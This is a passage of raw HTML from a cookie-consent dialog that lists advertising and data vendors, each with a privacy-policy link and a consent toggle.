2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Tradedoubler AB" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="486"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>TrustArc</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="TrustArc, Privacy policy" tabindex="0" data-policy-link="https://www.trustarc.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, TrustArc" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="494"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>TruEffect</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="TruEffect, Privacy policy" tabindex="0" data-policy-link="https://trueffect.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, TruEffect" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="495"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Travel Data Collective</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Travel Data Collective, Privacy policy" tabindex="0" data-policy-link="https://www.yieldr.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Travel Data Collective" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="540"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>advolution.control</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="advolution.control, Privacy policy" tabindex="0" data-policy-link="http://advolution.de/privacy.php" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, advolution.control" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="574"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>LifeStreet</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="LifeStreet, Privacy policy" tabindex="0" data-policy-link="http://www.lifestreet.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, LifeStreet" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="609"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Batch Media</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Batch Media, Privacy policy" tabindex="0" data-policy-link="https://theadex.com/privacy-opt-out/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Batch Media" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="864"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Vodafone GmbH</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Vodafone GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.vodafone.de/unternehmen/datenschutz-privatsphaere.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Vodafone GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="981"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Magnite</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Magnite, Privacy policy" tabindex="0" data-policy-link="https://www.magnite.com/legal/advertising-platform-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Magnite" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1029"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Scenestealer</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Scenestealer, Privacy policy" tabindex="0" data-policy-link="https://scenestealer.tv/terms.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Scenestealer" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1048"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Netquest</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Netquest, Privacy policy" tabindex="0" data-policy-link="https://www.nicequest.com/us/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Netquest" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1051"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Manage.com</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Manage.com, Privacy policy" tabindex="0" data-policy-link="https://www.manage.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Manage.com" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1095"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Cloudflare</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Cloudflare, Privacy policy" tabindex="0" data-policy-link="https://www.cloudflare.com/security-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Cloudflare" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1097"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Salesforce DMP</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Salesforce DMP, Privacy policy" tabindex="0" data-policy-link="https://www.salesforce.com/company/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Salesforce DMP" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1126"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Netflix</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Netflix, Privacy policy" tabindex="0" data-policy-link="http://www.netflix.com/google-3PAS-info" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Netflix" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1205"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>ebuilders</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="ebuilders, Privacy policy" tabindex="0" data-policy-link="https://www.mediamonks.com/privacy-notice" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, ebuilders" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1276"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>AppLovin Corp.</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="AppLovin Corp., Privacy policy" tabindex="0" data-policy-link="https://www.applovin.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, AppLovin Corp." aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1301"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Fractional Media</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Fractional Media, Privacy policy" tabindex="0" data-policy-link="https://www.fractionalmedia.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Fractional Media" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1365"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Rackspace</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Rackspace, Privacy policy" tabindex="0" data-policy-link="http://www.rackspace.com/gdpr" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Rackspace" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1415"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>MSI-ACI</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="MSI-ACI, Privacy policy" tabindex="0" data-policy-link="https://site.msi-aci.com/Home/Privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, MSI-ACI" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1449"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Admetrics</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Admetrics, Privacy policy" tabindex="0" data-policy-link="https://admetrics.io/en/privacy_policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Admetrics" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1514"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Navegg</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Navegg, Privacy policy" tabindex="0" data-policy-link="https://www.navegg.com/en/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Navegg" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1570"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Admedo</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Admedo, Privacy policy" tabindex="0" data-policy-link="https://www.admedo.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Admedo" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1577"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Kochava</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Kochava, Privacy policy" tabindex="0" data-policy-link="https://www.kochava.com/support-privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Kochava" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1598"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Mobitrans</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Mobitrans, Privacy policy" tabindex="0" data-policy-link="http://www.mobitrans.net/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Mobitrans" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1651"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>ADEX</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="ADEX, Privacy policy" tabindex="0" data-policy-link="http://theadex.com" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, ADEX" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1716"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Impact</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Impact, Privacy policy" tabindex="0" data-policy-link="https://impact.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Impact" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1735"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Spotad</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Spotad, Privacy policy" tabindex="0" data-policy-link="http://www.spotad.co/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Spotad" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1753"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Aarki</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Aarki, Privacy policy" tabindex="0" data-policy-link="http://corp.aarki.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Aarki" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1765"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>SFR</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="SFR, Privacy policy" tabindex="0" data-policy-link="http://www.sfr.fr/securite-confidentialite.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, SFR" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1870"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Cablato</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Cablato, Privacy policy" tabindex="0" data-policy-link="https://cablato.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Cablato" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1878"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Waystack</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Waystack, Privacy policy" tabindex="0" data-policy-link="https://www.wayfair.com/customerservice/general_info.php#privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" 